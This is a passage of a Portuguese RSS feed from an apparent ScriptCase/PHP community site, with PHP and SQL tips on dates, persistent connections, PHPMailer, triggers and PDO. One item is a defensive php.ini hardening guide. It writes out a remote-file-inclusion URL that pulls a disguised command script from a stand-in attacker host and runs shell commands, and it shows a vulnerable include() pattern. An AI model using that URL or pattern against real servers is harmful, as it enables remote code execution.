<?xml version="1.0" encoding="iso-8859-1"?>
				<!-- generator="e107" -->
				<!-- content type="Notícias" -->
				<!-- test="Copyright 2008-2009 <a href=http://www.infinitusweb.com.br>Portal mantido por Infinitus Web 2.0 ERP</a>" -->
				<rss  version="2.0">
				<channel>
				<title>SCRIPTCASE AJAX - Associação : Notícias</title>
				<link>/</link>
				<description></description>

<language>pt-br-br</language>
				<copyright>Copyright 2008-2009 <a href=http://www.infinitusweb.com.br>Portal mantido por Infinitus Web 2.0 ERP</a></copyright>
				<managingEditor>Haroldo - saa@semspam.com</managingEditor>
				<webMaster>saa@semspam.com</webMaster>
				<pubDate>Sun, 05 Sep 2010 00:19:41 -0300</pubDate>
				<lastBuildDate>Sun, 05 Sep 2010 00:19:41 -0300</lastBuildDate>
				<docs>http://backend.userland.com/rss</docs>
				<generator>e107 (http://e107.org)</generator>
				<ttl>60</ttl>
				<textInput>
				<title>Search</title>
				<description>Search SCRIPTCASE AJAX - Associação</description>
				<name>query</name>
				<link>http://www.scriptcaseajax.com.br/search.php</link>
				</textInput>
						<item>
						<title>Pegar último dia do Mês</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.38.3</link>
<description><![CDATA[$mes_aux=4;<br /><br />$data_aux=date("Y-").($mes_aux+1)."-01";<br />$data_aux=sc_date($data_aux,"aaaa-mm-dd","-",1,0,0);<br />$dia_aux=substr($data_aux ,-2);<br /> <br />//pode criar uma function passando o mês e ano (default do ano=CORRENTE)]]></description>
<author>Haroldo&lt;saa@semspam.com&gt;</author>
<pubDate>Mon, 23 Aug 2010 10:47:56 -0300</pubDate>
<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.38.3</guid>
</item>
						<item>
						<title>Conexão Permanente com o Banco de Dados</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.37.2</link>
<description><![CDATA[Conexão Permanente com o Banco de Dados<br /><br />Conexões persistentes são conexões que não fecham quando a execução do seu script termina. Quando uma conexão persistente é requisitada, o PHP checa se já existe uma conexão persistente idêntica (que foi mantida aberta anteriormente) - e, se ela existe, ele a usa. Se não existir, ele cria uma nova. Uma conexão 'idêntica' é uma conexão que foi aberta ao mesmo host, com o mesmo nome de usuário e a mesma senha (onde for aplicável).<br /><br />Pessoas que não estão totalmente familiarizadas com a maneira como servidores web trabalham e distribuem a carga podem confundir conexões persistentes com o que elas não são. In particular, elas não dão a você a habilidade de abrir 'sessões de usuários' na mesma conexão, elas não dão a habilidade de construir uma transação eficientemente, e elas não fazem um monte de outras coisas. De fato, para ser extremamente claro sobre o assunto, conexões persistentes não te dão nenhuma funcionalidade que não era possível com as suas correspondentes não-persistentes.<br /><br />Por que?<br /><br />Tem a ver com a maneira como os servidores web funcionam. Existem três maneiras de seu servidor web utilizar o PHP para gerar páginas.<br /><br />O primeiro método é usar o PHP como um CGI "wrapper". Quando executado dessa maneira, uma instância do interpretador do PHP é criada e destruída para cada requisição de página (por uma página PHP) para o seu servidor web. Como ela é destruída após cada requisição, quaisquer recursos que ela adquirir (como uma conexão para um banco de dados) são fechados quando ela é destruída. Nesse caso, não há nenhum ganho ao tentar usar conexões persistentes -- elas simplesmente não persistem.<br /><br />O segundo método, o mais popular, é rodar o PHP como um módulo em um servidor com multi-processos, que atualmente só inclue o Apache. Um servidor com multi-processos tipicamente tem um processo (pai) que coordena uma série de processos (filhos) que são os que realmente fazem o trabalho de servir as páginas. Quando uma requisição chega de um cliente, ela é entregue à um dos filhos que não estiver ocupado servindo outro cliente. Isso significa que quando o mesmo cliente faz uma segunda requisição ao servidor, ele pode ser servido por um processo filho diferente do da primeira vez. Quando abre-se uma conexão persistente, cada página que requisitar serviços de SQL pode reusar a mesma conexão estabelecida ao servidor SQL.<br /><br />O último método é usar o PHP como um plug-in para um servidor web multithreaded. Atualmente, o PHP4 tem suporte para ISAPI, WSAPI, e NSAPI (no Windows), todos permitindo PHP ser usado como um plug-in em servidores multithreaded como Netscape FastTrack (iPlanet), Internet Information Server (IIS) da Microsoft, e O'Reilly's WebSite Pro. O comportamento é essencialmente o mesmo do modelo multiprocessado descrito anteriormente.<br /><br />Se conexões persistentes não tem nenhuma funcionalidade a mais, para que elas servem?<br /><br />A resposta é extremamente simples -- eficiência. Conexôes persistentes são boas se o sobrecarga (overhead) de criar uma conexão ao seu servidor SQL for alta. Saber se essa sobrecarga é alta depende de vários fatores. Como que tipo de banco de dados é, se está ou não na mesma máquina onde o servidor web está, o quão carregada de trabalho está a máquina hospedando o servidor SQL e assim por diante. O ponto é que se a sobrecarga de conexão for alta, conexões persistentes ajudam consideravelmente. Elas fazem com que os processos filhos simplesmente conectam-se uma vez só durante toda sua duração, ao invés de cada vez que eles processam uma página que requer uma conexão ao servidor SQL. Isso significa que cada filho que abriu uma conexão persistente terá sua própria conexão aberta ao servidor. Por exemplo, se você tiver 20 processos filhos diferentes que rodassem um script que fizesse uma conexão persistente à um servidor SQL, você teria 20 conexões diferentes ao banco, uma de cada filho.<br /><br />Perceba, no entanto, que isso pode ter algumas desvantagens se você estiver usando um banco com limite de conexões que é excedido pela conexões persistentes filhas. Se seu banco tem um limite de 16 conexões simultâneas, e durante um momento de pico de acessos, 17 processos filhos tentam fazer a conexão, um deles não será capaz. Se houver bugs no seus scripts que não permitem que as conexões se fechem (como loops infinitos) o banco de dados com apenas 16 conexões pode rapidamente ficar sobrecarregado. Procure na documentação do seu banco por informações sobre como lidar com conexões ociosas ou abandonadas.<br /><br />Aviso<br />Existem mais alguns cuidados a se tomar quando usando conexões persistentes. Um deles é que, quando usando travamento de tabela em uma conexão persistente, se o script por qualquer razão não pode destravar a mesma, então scripts subsequentes usando a mesma conexão serão bloqueados indefinidamente e pode ser preciso reiniciar o servidor http ou o banco de dados. Outro cuidado a se ter é, quando usando transações, um bloco de transação também será carregado para o próximo script que usar a conexão se a execução do script terminar primeiro que o bloco de transação. Em ambos os casos, você pode usar register_shutdown_function() para registrar uma função simples de limpeza para destravar suas tabelas e fazer roll back de suas transação. O ideal é evitar o problema completamente não usando conexões persistentes em scripts que usam travamento de tabelas ou transações (você ainda pode usar elas nos outros casos).<br /><br />Um resumo importante. Conexões persistente foram feitas para ter um mapeamento de um-para-um com conexões normais. Isso significa que você deve sempre ser capaz de substituir conexões persistentes com conexões não-persistentes e isso não mudará a maneira como seu script se comporta. Pode (e provavelmente irá) mudar a eficiência do mesmo, mas não o seu comportamento!]]></description>
<author>Haroldo&lt;saa@semspam.com&gt;</author>
<pubDate>Sat, 09 Jan 2010 08:24:08 -0200</pubDate>
<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.37.2</guid>
</item>
						<item>
						<title>PHP CONFERENCE</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.22.2</link>
<description><![CDATA[Segue link disponibilizado pela Line Brasil, para PHP CONFERENCE, com 50%.<br /><br /><div><span class="649130118-24112008"><span style="font-family: Arial; font-size: x-small"></span></span></div><div><span class="649130118-24112008"><span style="font-family: Arial; font-size: x-small"><a href="http://www.linebrasil.com.br/phpconference/phpconf50.html" rel="external"><span style="color: #1a4487; font-size: xx-small">http://www.linebrasil.com.br/phpconference/phpconf50.html</span></a></span></span></div>]]></description>
<author>Haroldo&lt;saa@semspam.com&gt;</author>
<pubDate>Mon, 24 Nov 2008 16:29:55 -0200</pubDate>
<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.22.2</guid>
</item>
						<item>
						<title>PHP - Função para remover acentos</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.20.2</link>
<description><![CDATA[<div align="left"><br />Talvez seja algo bem bobo, mas ajuda bastante, principalmente quando da impressão matricial<br />direto pela porta que usa a fonte da impressora. Como curiosidade, observem como a<br />função str_replace é poderosa.</div><br /><span style="color: #ff0000"><!--P</sp--><br /><br /><span style="color: #ff0000"><!--p<--></span> <span style="color: #0000ff">function</span> removeacentos <span style="color: #800080">(</span><span style="color: #ff6600">$var</span><span style="color: #800080">)</span><br /><span style="color: #800080">{</span><br />       <span style="color: #ff6600">$ACENTOS</span>   = <span style="color: #0000ff">array</span><span style="color: #800080">(</span>"À","Á","Â","Ã","à","á","â","ã"<span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$SEMACENTOS</span>= <span style="color: #0000ff">array</span><span style="color: #800080">(</span>"A","A","A","A","a","a","a","a"<span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$v</span>ar=<span style="color: #0000ff">str_replace</span>(<span style="color: #ff6600">$ACENTOS</span>,<span style="color: #ff6600">$SEMACENTOS</span>, <span style="color: #ff6600">$var</span>);<br />      <br />       <span style="color: #ff6600">$ACENTOS</span>   = <span style="color: #0000ff">array</span>("È","É","Ê","Ë","è","é","ê","ë"<span style="color: #800080">)</span>;<br />      <span style="color: #ff6600"> $SEMACENTOS</span>= <span style="color: #0000ff">array</span>("E","E","E","E","e","e","e","e"<span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$var</span>=<span style="color: #0000ff">str_replace</span>(<span style="color: #ff6600">$ACENTOS</span>,<span style="color: #ff6600">$SEMACENTOS</span>, <span style="color: #ff6600">$var</span><span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$ACENTOS</span>   = <span style="color: #0000ff">array</span>("Ì","Í","Î","Ï","ì","í","î","ï"<span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$SEMACENTOS</span>= <span style="color: #0000ff">array</span>("I","I","I","I","i","i","i","i");<br />      <span style="color: #ff6600"> $var</span>=<span style="color: #0000ff">str_replace</span><span style="color: #800080">(</span><span style="color: #ff6600">$ACENTOS</span>,<span style="color: #ff6600">$SEMACENTOS</span>, <span style="color: #ff6600">$var</span>);<br />      <br />       <span style="color: #ff6600">$ACENTOS</span>   = <span style="color: #0000ff">array</span><span style="color: #800080">(</span>"Ò","Ó","Ô","Ö","Õ","ò","ó","ô","ö","õ"<span style="color: #800080">)</span>;<br />      <span style="color: #ff6600"> $SEMACENTOS</span>= <span style="color: #0000ff">array</span><span style="color: #800080">(</span>"O","O","O","O","O","o","o","o","o","o"<span style="color: #800080">)</span>;<br />      <span style="color: #ff6600"> $var</span>=<span style="color: #0000ff">str_replace</span><span style="color: #800080">(</span><span style="color: #ff6600">$ACENTOS</span>,<span style="color: #ff6600">$SEMACENTOS</span>, <span style="color: #ff6600">$var</span><span style="color: #800080">)</span>;<br />     <br />       <span style="color: #ff6600">$ACENTOS</span>   = <span style="color: #0000ff">array</span><span style="color: #800080">(</span>"Ù","Ú","Û","Ü","ú","ù","ü","û"<span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$SEMACENTOS</span>= <span style="color: #0000ff">array</span><span style="color: #800080">(</span>"U","U","U","U","u","u","u","u"<span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$var</span>=<span style="color: #0000ff">str_replace</span><span style="color: #800080">(</span><span style="color: #ff6600">$ACENTOS</span>,<span style="color: #ff6600">$SEMACENTOS</span>, <span style="color: #ff6600">$var</span><span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$ACENTOS</span>   = <span style="color: #0000ff">array</span><span style="color: #800080">(</span>"Ç","ç","ª","º","°");<br />       <span style="color: #ff6600">$SEMACENTOS</span>= <span style="color: #0000ff">array</span><span style="color: #800080">(</span>"C","c","a.","o.","o."<span style="color: #800080">)</span>;<br />       <span style="color: #ff6600">$var</span>=<span style="color: #0000ff">str_replace</span><span style="color: #800080">(</span><span style="color: #ff6600">$ACENTOS</span>,<span style="color: #ff6600">$SEMACENTOS</span>, <span style="color: #ff6600">$var</span><span style="color: #800080">)</span>;      <br /><span style="color: #0000ff"><br />       return</span> <span style="color: #ff6600">$var</span>;<br />}<br /><br /><span style="color: #ff0000">?></span> </span>]]></description>
<author>Haroldo&lt;saa@semspam.com&gt;</author>
<pubDate>Wed, 15 Oct 2008 12:43:29 -0300</pubDate>
<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.20.2</guid>
</item>
						<item>
						<title>Dica de como mandar e-mails via PHP sem dor de cabeça</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.19.2</link>
<description><![CDATA[Eu sempre usei a classe PHPMailer... Acho ela fantástica.<br /><br />Para baixar a classe, acesse: http://phpmailer.codeworxtech.com<br /><br />Segue abaixo um exemplo de como enviar e-mails com ela:<br /><br /><ol class="dp-c"><li class="alt"><span><span class="keyword">require</span><span>(</span><span class="string">"class.phpmailer.php"</span><span>);  </span></span></li><li><span>  </span></li><li class="alt"><span><span class="vars">$mail</span><span> = </span><span class="keyword">new</span><span> PHPMailer();  </span></span></li><li><span>  </span></li><li class="alt"><span><span class="vars">$mail</span><span>->From     = </span><span class="string">"seu@email.com"</span><span>;  </span></span></li><li><span><span class="vars">$mail</span><span>->FromName = </span><span class="string">"Seu Nome"</span><span>;  </span></span></li><li class="alt"><span><span class="vars">$mail</span><span>->Host     = </span><span class="string">"smtp.seudominio.com.br"</span><span>;  </span></span></li><li><span><span class="vars">$mail</span><span>->Mailer   = </span><span class="string">"smtp"</span><span>; <br /></span></span></li><li><span><span>//$mail->SMTPSecure   = "ssl"; // Se tiver SSL no SMTP<br /></span></span></li><li class="alt"><span>  </span></li><li><span>   <span class="comment">// Corpo</span><span><br /></span></span></li><li class="alt"><span>    <span class="vars">$body</span><span>  = </span><span class="string">"Teste de e-mail com PHP Mailer.</span><span class="string">"</span><span>;  </span></span></li><li class="alt"><span>    <span class="vars">$body</span><span> .= </span><span class="string">"Apenas um teste."</span><span>; <br /></span></span></li><li class="alt"><span><span></span><br /></span></li><li><span>    <span class="vars">$mail</span><span>->Body    = </span><span class="vars">$body</span><span>;  </span></span></li><li><span>    <span class="vars">$mail</span><span>->AddAddress(</span><span class="vars">"destino@email.com"</span><span>);  </span></span></li><li class="alt"><span>    <span class="vars">$mail</span><span>->AddStringAttachment("arquivo.zip"</span><span>);  //se quiser anexar algo<br /></span></span></li><li><span>  </span></li><li class="alt"><span>    <span class="keyword">if</span><span>(!</span><span class="vars">$mail</span><span>->Send())  {</span></span></li><li><span>        <span class="func">echo</span><span> </span><span class="string">"Nao consegui enviar</span><span class="string">"</span><span>;</span></span></li><li><span><span> }<br /></span></span></li><li class="alt"><span>}</span></li></ol>Abraços<br /><br />Guilherme]]></description>
<author>Guilherme&lt;gui@semspam.com&gt;</author>
<pubDate>Thu, 02 Oct 2008 14:02:27 -0300</pubDate>
<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.19.2</guid>
</item>
						<item>
						<title>Dica para filtrar Arrays Multi-dimensionais</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.18.2</link>
<description><![CDATA[<span style="font-size: x-small">Pessoal,<br /><br />Independente do seu nível como programador, vou publicar um pequeno código que foi muito útil pra mim ontem. Este foi desenvolvido por um grande amigo, Felipe Pena.<br /><br /><strong>O objetivo é pegar todos os valores de um array multi-dimensional sem repetí-los</strong>.<br /><br />No PHP temos a função <strong>array_unique()</strong>, porém esta só funciona em single arrays..<br /><br />Exemplo Single array: $minha_array[0] = 10;<br /></span><span style="font-size: x-small">Exemplo </span><span style="font-size: x-small">Multi-dimentional array: $minha_array[0][0] = 10;<br /><br />Ou seja, todo o dataset do sc_lookup é um array multi-dimensional.<br /><br />Exemplo prático de como usar a função que estou falando:<br /><br /></span><pre><span style="font-size: x-small"><br /></span></pre><ol><li><span style="font-size: x-small">sc_lookup(dataset,"select id_cotacao, id_forn1, id_forn2, id_forn3 from cotacoes where id_cotacao = {id_cotacao}");</span></li><li><span style="font-size: x-small">$a = {dataset};</span></li><li><span style="font-size: x-small">$tmp = array();</span></li><li><span style="font-size: x-small">for ($i = 0; $i < count($a); $i++) {</span></li><li><span style="font-size: x-small">$a[$i] = array_unique($a[$i]);</span></li><li><span style="font-size: x-small"></span><br /></li><li><span style="font-size: x-small"></span><br /></li><li><span style="font-size: x-small">if ($i > 0) {</span></li><li><span style="font-size: x-small">$tmp2 = array();</span></li><li><span style="font-size: x-small">foreach ($a[$i] as $k => $v) {</span></li><li><span style="font-size: x-small">if (!in_array($v, $tmp, true)) {</span></li><li><span style="font-size: x-small">$tmp2[$k] = $v;</span></li><li><span style="font-size: x-small">}</span></li><li><span style="font-size: x-small">} </span></li><li><span style="font-size: x-small">$a[$i] = $tmp2;</span></li><li><span style="font-size: x-small">} </span></li><li><span style="font-size: x-small">$tmp = array_merge($a[$i], $tmp);</span></li><li><span style="font-size: x-small">}</span></li><li><span style="font-size: x-small">unset($tmp, $tmp2);</span></li><li><span style="font-size: x-small">print_r($a);</span></li></ol><pre><span style="font-size: x-small"><br />Tudo isso acima faz a mesma função do <strong>array_unique</strong> (<em>http://br2.php.net/manual/pt_BR/function.array-unique.php</em>) só que não apenas para Single Array, mas sim para qualquer tipo.<br /><br />Espero que você possa usar em algum momento.<br /><br />[]'s</span><br /></pre>]]></description>
<author>Guilherme&lt;gui@semspam.com&gt;</author>
<pubDate>Thu, 02 Oct 2008 13:47:05 -0300</pubDate>
<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.18.2</guid>
</item>
						<item>
						<title>SQL - TRIGGERS, Breve notação</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.16.3</link>
<description><![CDATA[Trigger: é chamada quando uma tabela é excitada por um dos comandos: INSERT, DELETE ou UPDATE.<br /> Trigger = gatilho, disparador;====================== create database locadora;use locadora; <p>create table filmes(<br /> cod_fil int not null auto_increment,<br /> titulo varchar(255),<br /> constraint pk_filmes<br />  primary key(cod_fil)<br />) engine=innodb;</p>create table clientes(<br /> cod_cli int not null auto_increment,<br /> nome varchar(255),<br /> constraint pk_clientes<br />  primary key(cod_cli)<br />) engine=innodb;<br />create table filmes_clientes(<br />  cod_fil int not null,<br /> cod_cli int not null,<br /> constraint fk_filmes<br />   foreign key(cod_fil)<br />      references filmes(cod_fil),<br />  constraint fk_clientes<br />    foreign key(cod_cli)<br />      references clientes(cod_cli)<br />) engine=innodb;create table tblog(<br /> cod int not null auto_increment,<br /> filme int not null,<br /> cliente int not null,<br /> retirada date not null,<br /> devolucao date,<br /> primary key(cod)<br />) engine=myisam;delimiter |<br />CREATE TRIGGER tralugar<br />  before insert ON filmes_clientes<br />  FOR EACH ROW BEGIN<br />   insert into tblog(filme,cliente,retirada)<br />  values(new.cod_fil,new.cod_cli,now());  END;<br />  |<br />  delimiter ;<br /> delimiter |<br /> CREATE TRIGGER trdevolver<br />   after delete ON filmes_clientes<br />   FOR EACH ROW BEGIN<br />     update tblog set devolucao=now()<br />       where filme=old.cod_fil<br />       and  cliente=old.cod_cli;<br />   END;<br />  |<br /> delimiter ;/// DADOS DE TESTES: insert into filmes values(1,"matrix"),(2,"MIB");<br />insert into clientes values(1,"joao"),(2,"Pedro");<br /> ]]></description>
<author>Haroldo&lt;saa@semspam.com&gt;</author>
<pubDate>Wed, 03 Sep 2008 15:18:52 -0300</pubDate>
<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.16.3</guid>
</item>
						<item>
						<title>Configurando o PHP contra o PHP injection</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.11.3</link>
<description><![CDATA[Bom, inicialmente vou falar um pouco sobre o que é...<br />o PHP injection é a utilização indevida de funções do PHP normalmente abertas para uso. As funções exec() e system() que por default são abertas permitindo a execução de qualquer coisa pelo seu servidor. Por exemplo:<br /><br /><a href="http://www.site.com/arquivo.php?id=8465">http://www.site.com/arquivo.php?id=8465</a><br /><br />Vamos supor que você use seu site igual ao acima, com o exec() e system() abertos o hacker se utiliza para executar coisas externas:<br /><br /><a href="http://www.site.com/arquivo.php?id=http://www.sitehacker.com/cmd.gif?&cmd=ls">http://www.site.com/arquivo.php?id=http://www.sitehacker.com/cmd.gif?&cmd=ls</a>; cmd; uname -a<br /><br />O site hacker tem hospedado um arquivo chamado cmd.gif que na verdade é um arquivo .php com funções para executar comandos no seu servidor, no exemplo acima o hacker está dando comandos ls, cmd e uname -a em seu servidor através do seu site com as funções exec() e system() abertas.<br /><br />Bom deixemos o blá blá blá de lado e agora partir para o que interessa de verdade, se defender contra essa vulnerabilidade:<br /><br />Primeiro, edite o php.ini especifique as opções:<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Código:</div><pre class="alt2" style="text-align: left; margin: 0px; width: 640px; height: 34px; overflow: auto; border: 1px inset; padding: 5px">allow_url_fopen = Off</pre></div>Isso vai impedir que um include ou um open que não esteja hardcoded, ou seja, que tenham seus valores fornecidos por uma variável, façam includes remotos, como no exemplo citado no início deste post.<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Código:</div><pre class="alt2" style="text-align: left; margin: 0px; width: 640px; height: 34px; overflow: auto; border: 1px inset; padding: 5px">safe_mode = On</pre></div>Isto impedirá que os scripts em PHP abram arquivos que não sejam do mesmo dono (UID) do script. Mas não esqueça de dar um chown nos scripts para um usuário sem privilégios (o nobody tá de bom tamanho), criando um usuário phpscripts ou algo assim.<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Código:</div><pre class="alt2" style="text-align: left; margin: 0px; width: 640px; height: 34px; overflow: auto; border: 1px inset; padding: 5px">register_globals = Off</pre></div>O "register globals" ligado diz para o PHP que qualquer variável passada como parâmetro deve ser reconhecida como uma variável válida dentro do código PHP. Isto facilita muito as coisas pois com isso não precisamos ficar associando o array $_REQUEST a variáveis internas, mas ao mesmo tempo é perigoso, pois permite a um atacante controlar variáveis internas que você não tenha corretamente incializado.<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Código:</div><pre class="alt2" style="text-align: left; margin: 0px; width: 640px; height: 34px; overflow: auto; border: 1px inset; padding: 5px">magic_quotes_gpc = On</pre></div>Se você não tem conhecimento sobre como "sanitizar" variáveis antes de enviá-las para bancos de dados ou programas externos, uma boa opção é deixar o "magic quotes" ligado, pois ele dificulta bastante a manipulação de strings para, por exemplo, provocar um SQL Injection no seu acesso ao banco.<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Código:</div><pre class="alt2" style="text-align: left; margin: 0px; width: 640px; height: 34px; overflow: auto; border: 1px inset; padding: 5px">display_errors = Off</pre></div>Ao invés de visualizar os erros de programação no browser, use o log do servidor. Esta opção impede que atacantes provoquem erros na sua aplicação para descobrirem paths da estrutura de arquivos.<br /><br />Leia as demais opções do seu php.ini, especialmente se você estiver usando o PHP sob IIS/Windows. Existem coisas importantes lá, mas que nunca tive a oportunidade de usar.<br /><br />Além das configurações, algumas práticas de programação podem salvar a sua pele. Por exemplo, NUNCA PASSE O NOME DE UM ARQUIVO COMO PARÂMETRO PARA INCLUDE OU FOPEN! É muito comum você encontrar sites com URLs do tipo:<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Citar:</div><table cellpadding="5" cellspacing="0" width="100%"><tbody><tr><td style="border: 1px inset" class="alt2"><a href="http://www.site.com/index.php?inc=contato" rel="external">http://www.site.com/index.php?inc=contato</a> </td></tr></tbody></table></div>E então, quando mudamos a palavra contato para qualquer outra coisa (por exemplo "testnotfound") o PHP exibe a fatídica mensagem de erro de "Arquivo não encontrado". E atenção: NÃO CONFIE NO SEU CÓDIGO SE VOCÊ ESTÁ ACRESCENTANDO UM PATH COMPLETO E A EXTENSÃO DO ARQUIVO NA HORA DE INCLUIR, por exemplo:<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Código PHP:</div><div class="alt2" style="text-align: left; margin: 0px; width: 640px; height: 34px; overflow: auto; border: 1px inset; padding: 5px"><!-- php buffer start --><span style="color: #000000"><span style="color: #0000bb"></span><span style="color: #007700">include(</span><span style="color: #dd0000">"/home/asnocoder/www/includes/"</span><span style="color: #007700">.</span><span style="color: #0000bb">$inc</span><span style="color: #007700">.</span><span style="color: #dd0000">".php"</span><span style="color: #007700">); <br /></span><span style="color: #0000bb"></span></span><!-- php buffer end --></div></div>Não confie nisso! Continua perfeitamente possível incluir qualquer arquivo do seu sistema através da manipulação correta da variável $inc.<br /><br />E já que estamos falando de includes, NUNCA COLOQUE EXTENSÃO .inc NOS SEUS SCRIPTS OU BIBLIOTECAS. Estas extensões não são tratadas pelo webserver e o código fonte do programa é exibido caso eles sejam chamados diretamente no browser. Você tem três opções:<br /><br />1. Renomear estes arquivos para "arquivo.inc.php", por exemplo (e alterar os includes que fazem referência a eles).<br />2. Mover estes arquivos para uma parte da árvore de diretórios que não seja acessível diretamente pelo browser.<br />3. Proteger o diretório onde estes arquivos estão. Segue exemplo de diretrizes do Apache:<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Código:</div><pre class="alt2" style="text-align: left; margin: 0px; width: 640px; height: 130px; overflow: auto; border: 1px inset; padding: 5px">    Options None    Order Allow, Deny    Deny from All    AllowOverride None    Satisfy All </pre></div>Quando eu tenho que fazer um include/fopen de acordo com uma opção do usuário, eu costumo criar um ninho de IFs e passar como parâmetro para a página apenas um número, ou um código qualquer, fazendo algo do tipo:<br /><br /><div style="margin: 5px 20px 20px"><div class="smallfont" style="margin-bottom: 2px">Código PHP:</div><div class="alt2" style="text-align: left; margin: 0px; width: 640px; height: 82px; overflow: auto; border: 1px inset; padding: 5px"><!-- php buffer start --><span style="color: #000000"><span style="color: #0000bb">$inc </span><span style="color: #007700">= </span><span style="color: #dd0000">"index.php"</span><span style="color: #007700">; </span><span style="color: #ff8000">// Página default<br /></span><span style="color: #007700">if(</span><span style="color: #0000bb">$_GET</span><span style="color: #007700">[</span><span style="color: #dd0000">'opcao'</span><span style="color: #007700">]==</span><span style="color: #dd0000">"1"</span><span style="color: #007700">) { </span><span style="color: #0000bb">$inc </span><span style="color: #007700">= </span><span style="color: #dd0000">"pagina1.php"</span><span style="color: #007700">; }<br />if(</span><span style="color: #0000bb">$_GET</span><span style="color: #007700">[</span><span style="color: #dd0000">'opcao'</span><span style="color: #007700">]==</span><span style="color: #dd0000">"2"</span><span style="color: #007700">) { </span><span style="color: #0000bb">$inc </span><span style="color: #007700">= </span><span style="color: #dd0000">"pagina2.php"</span><span style="color: #007700">; }<br />include(</span><span style="color: #0000bb">$inc</span><span style="color: #007700">); <br /></span><span style="color: #0000bb"></span></span></div></div><br />Bom dúvidas à mais acessar:<br /><a href="http://www.php.net/manual/en/security.php">http://www.php.net/manual/en/security.php</a><br /><br />Abraços à todos e espero ter ajudado um pouco.<br /><strong>Submetido por Victor A Moraes</strong> [/html]]]></description>
<author>Victor A Moraes&lt;cakinhobr@semspam.com&gt;</author>
<pubDate>Mon, 28 Apr 2008 11:13:57 -0300</pubDate>
<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.11.3</guid>
</item>
						<item>
						<title>PDOv2 - Discussões a respeito do uso de CLA</title>
<link>http://www.scriptcaseajax.com.br/news.php?item.9.2</link>
<description><![CDATA[Atualmente alguns dos core-developers do <a href="http://www.php.net/"><span style="color: #b5642c">PHP</span></a> discutem a respeito da criação do PDOv2, que seria o <a href="http://www.php.net/pdo"><span style="color: #b5642c">PDO</span></a> atual melhorado.Todos nós que utilizamos PDO sabemos que existem ainda alguns pontos em que ele possui alguns bugs e não funciona como deveria. Um exemplo é o driver para MS SQL Server que simplesmente funciona muito mal. Eu conheço pessoas que desistiram de usar PDO para SQL Server devido a alguns problemas principalmente no que diz respeito a transações.<a href="http://netevil.org/blog/2008/01/pdo-2-and-cla"><span style="color: #b5642c">Estava lendo no blog do Wez Furlong</span></a>, um dos criadores do PDO, que ele, o <a href="http://andigutmans.blogspot.com/"><span style="color: #b5642c">Andi Gutmans</span></a> e o <a href="http://www.ilia.ws/"><span style="color: #b5642c">Ilia Alshanetsky</span></a> estão em contato com a MySQL, PostgreSQL, IBM, Oracle e a Microsoft para desenvolverem o PDOv2 em conjunto e pelo que ele disse, estas entidades estão todas interessadas em contribuir no desenvolvimento da API, só que para isso acontecer, é necessário que quem desenvolver algo para o PDOv2 precisará assinar um <a href="http://www.php.net/~wez/pdo/PDO-CLA-Individual-12-07-07.pdf"><span style="color: #b5642c">CLA (Contributor Licence Agreement)</span></a> que é um documento em que o desenvolvedor<br />diz basicamente que abre mão de qualquer patente ou direito que ele tenha sobre aquele determinado código que ele contribuiu, porém ele não perde o direito de usar o código como lhe aprouver em outras circunstâncias. Este tipo de documento dá uma segurança para empresas e entidades envolvidas no que tange a processos por quebra de patentes por exemplo.Eu mesmo assinei um CLA para poder desenvolver no <a href="http://framework.zend.com/"><span style="color: #b5642c">Zend Framework</span></a> e nesta CLa que assinei eu apenas digo que o código que eu colaborei pode ser usado sem ônus algum e que eu não tenho vínculo com a <a href="http://www.zend.com/"><span style="color: #b5642c">Zend</span></a>.Esta CLA se implica somente ao PDO e não ao PHP como um todo, porém tem algumas pessoas que não estão gostando desta idéia, dizendo que foi uma decisão unilateral por parte dos envolvidos no desenvolvimento do PDOv2, que CLA não é uma boa idéia e etc. Eu pessoalmente, acho que com a assinatura de CLA, o PDOv2 será mais estável e terá menos bugs, enfim, será algo realmente confiável em ambientes críticos.Eu não vejo problema algum, o que não pode é o PDO continuar como está, com mais ou menos dois desenvolvedores ativos, com vários bugs e com suporte incompleto para algumas plataformas de banco de dados o que nos obriga ou a usar as funções de banco mais antigas (e perder a abstração de acesso a banco de dados), usar o PDO com os bugs<br />que ele tem ou utilizar as classes de abstração escritas em PHP, que apesar de algumas serem ótimas(creole por exemplo), perdem em performance para o PDO.Portanto, deixo a minha sugestão: Quem for contra o uso de CLA para o desenvolvimento do PDOv2, que mostre alguma outra solução plausível.]]></description>
<author>Victor A Moraes&lt;cakinhobr@semspam.com&gt;</author>
<pubDate>Wed, 30 Jan 2008 10:38:00 -0200</pubDate>
